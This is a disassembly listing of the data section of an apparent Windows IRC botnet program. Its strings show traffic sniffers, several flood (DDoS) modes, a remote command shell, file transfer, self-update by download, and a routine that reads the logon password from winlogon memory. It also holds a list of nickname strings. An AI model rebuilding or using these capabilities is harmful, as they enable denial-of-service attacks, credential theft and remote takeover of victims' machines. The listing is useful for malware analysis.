aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413187+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413187+5o
		align 4
unk_437734	db  2Dh	; -		; DATA XREF: sub_4131EC+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: sub_4131EC+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4377A4	db  2Dh	; -		; DATA XREF: sub_4131EC+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8	db  2Dh	; -		; DATA XREF: sub_4131EC+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C	db  2Dh	; -		; DATA XREF: sub_4131EC+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840	db  2Dh	; -		; DATA XREF: sub_4131EC+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_437870	db  2Dh	; -		; DATA XREF: sub_4131EC+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4378C4	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413694+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437AEC	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143F7+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437EDC	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415CC0+35o
dword_437EF0	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
		align 4
dword_437F28	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415DD8+20o
dword_437F50	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415F27o
		dd 6574656Ch, 0
dword_437F6C	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E8Ao
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437FEC	db  2Dh	; -		; DATA XREF: ___:004162BEo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_438010	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:00416523o
					; ___:004166B9o
		dd 726F72h
unk_438028	db  2Dh	; -		; DATA XREF: ___:004164BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_438054	db  2Dh	; -		; DATA XREF: ___:004163C3o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_438078	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:0041638Co
		dd 74756Fh
dword_438090	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:0041632Bo
		dd 169h
unk_4380A8	db  2Dh	; -		; DATA XREF: ___:004162E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_4380C8	db  2Dh	; -		; DATA XREF: ___:00416243o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_4380EC	db  2Dh	; -		; DATA XREF: ___:00416205o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_438110	db  2Dh	; -		; DATA XREF: ___:00416734o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43813C	db  2Dh	; -		; DATA XREF: ___:0041662Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43815C	db  2Dh	; -		; DATA XREF: ___:0041660Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:004165FAo
unk_43818C	db  2Dh	; -		; DATA XREF: ___:004165E6o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4381BC	db  2Dh	; -		; DATA XREF: ___:00416C33o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_4381E8	db  2Dh	; -		; DATA XREF: ___:00416C25o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43821C	db  2Dh	; -		; DATA XREF: ___:00416B69o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_438260	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AF8o
		dd 25206465h, 73h
unk_43827C	db  2Dh	; -		; DATA XREF: ___:00416A81o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_4382B4	db  2Dh	; -		; DATA XREF: ___:00416A02o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_4382DC	db  2Dh	; -		; DATA XREF: ___:00416978o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_438308	db  2Dh	; -		; DATA XREF: ___:00416935o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_438330	db  2Dh	; -		; DATA XREF: ___:00416923o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_438358	db  2Dh	; -		; DATA XREF: ___:00416817o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416D48:loc_416D8Bo
					; sub_419443+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416D48:loc_416D85o
aDisk		db 'Disk',0             ; DATA XREF: sub_416D48:loc_416D7Fo
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416D48:loc_416D79o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416D48:loc_416D73o
		align 4
off_4383A8	dd offset word_4D4152	; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC	dw 3Fh			; DATA XREF: sub_416D48+1Fo
					; sub_41AF8F:loc_41B091r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416DD9:loc_416EB7o
					; sub_416EFD+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416DD9+6Co
		align 10h
unk_4383C0	db  2Dh	; -		; DATA XREF: sub_416EFD+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_4383FC	db  2Dh	; -		; DATA XREF: sub_416EFD+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
off_438438	dd offset byte_5C3A41	; DATA XREF: sub_416FCF:loc_417014o
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41743Ao
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_4384DC	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_41740Do
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_438508	db  2Dh	; -		; DATA XREF: sub_4172C1:loc_417406o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_438540	db  2Dh	; -		; DATA XREF: sub_4172C1+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43859C	dd offset byte_530055	; DATA XREF: sub_4172C1+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004C+1
		dd offset byte_4E0049
		dd 0
off_4385B4	dd offset byte_530055	; DATA XREF: sub_4172C1+CEo
		dd offset byte_520045
		dd offset loc_41004C+2
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_4172C1+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
					; sub_4172C1+161o ...
		align 4
unk_438678	db  2Dh	; -		; DATA XREF: sub_4172C1+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417493+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417493+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417493+AFo
		align 4
dword_4386C4	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178F9+70o
					; sub_417990+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417990+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_438768	dd offset aQ		; DATA XREF: sub_417E84+5Cr
					; "q"
; ---------------------------------------------------------------------------
		sbb	[ebx-4E77FFBDh], dl
		inc	edx
		add	[eax+1C0042C6h], ah
		mov	byte ptr [edx+0], 14h
		xchg	eax, ebx
		inc	ebx
		add	al, dl
		scasd
		inc	edx
		add	[eax-3Ah], dh
		inc	edx
		add	[edi+ebp*4-4DE7FFBEh], ch
		inc	edx
		add	[eax-3Ah], bh
		inc	edx
		add	[eax], dl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], cl
		inc	ebx
		add	[eax], cl
		xchg	eax, ebx
		inc	ebx
		add	[ebx+edx*4], al
		inc	ebx
		add	[edi+esi*4+42h], bh
		add	ah, ch
		retf	42h
; ---------------------------------------------------------------------------
		dd offset dword_439300
; ---------------------------------------------------------------------------
		cld
		xchg	eax, edx
		inc	ebx
		add	al, bh
		xchg	eax, edx
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_4392F4
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_4392F0
		dd offset dword_4392EC
		dd offset dword_4392E8
		dd offset dword_4392E4
		dd offset dword_4392E0
		dd offset word_4392DC
		dd offset dword_4392D8
		dd offset aI_0		; "I"
		dd offset dword_4392D4
		dd offset dword_4392D0
		dd offset aA_0		; "A"
		dd offset dword_4392CC
		dd offset dword_4392C8
		dd offset dword_4392C4
		dd offset dword_4392C0
		dd offset dword_4392BC
		dd offset dword_4392B8
		dd offset dword_4392B4
		dd offset dword_4392B0
		dd offset dword_4392AC
		dd offset dword_4392A8
		dd offset dword_4392A4
		dd offset dword_4392A0
		dd offset dword_43929C
		dd offset word_439298
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_439030
		dd offset off_43902C
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_438E98
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
		dd offset aBirsen	; "birsen"
		dd offset aYabanc	; "yabanc"
		dd offset aDevre	; "devre"
		dd offset aErkan	; "erkan"
		dd offset aAnkm		; "ankM"
		dd offset aAdem28	; "Adem28"
		dd offset aMaxsilla	; "maxsilla"
		dd offset aM41ist	; "M41IST"
		dd offset aAdamm33	; "AdAMM33"
		dd offset aFirtina	; "firtina"
		dd offset aAta29	; "Ata29"
		dd offset aKoray	; "KORAY"
		dd offset aAkden	; "akden"
		dd offset aIzmirlm	; "izmirlm"
		dd offset aUla		; "ula"
		dd offset aNeHaber	; "NE-HABER"
		dd offset aPassenger	; "passenger"
		dd offset aTropikal	; "tropikal"
		dd offset aCool30m	; "cool30m"
		dd offset aCem39	; "cem39"
		dd offset aRerpjj	; "RERPJJ"
		dd offset aTeoman	; "TEOMAN```"
		dd offset aDallas43m	; "DALLAS43M"
		dd offset aPrometheus	; "prometheus"
		dd offset aMaveRIck	; "MaVe{R}icK"
		dd offset aAdamm	; "ADAMM"
		dd offset aCumhur29	; "cumhur29"
		dd offset aWantedlove	; "WANTEDLOVE"
off_438A68	dd offset aSex		; DATA XREF: sub_417E84+41r
					; sub_417E84+ECr
					; "sex"
		dd offset aLez		; "lez"
		dd offset aZex		; "zex"
		dd offset aTree		; "tree"
		dd offset aBad		; "bad"
; ---------------------------------------------------------------------------
		push	6000438Dh
		lea	eax, [ebx+0]
		pop	eax
		lea	eax, [ebx+0]
		push	eax
		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
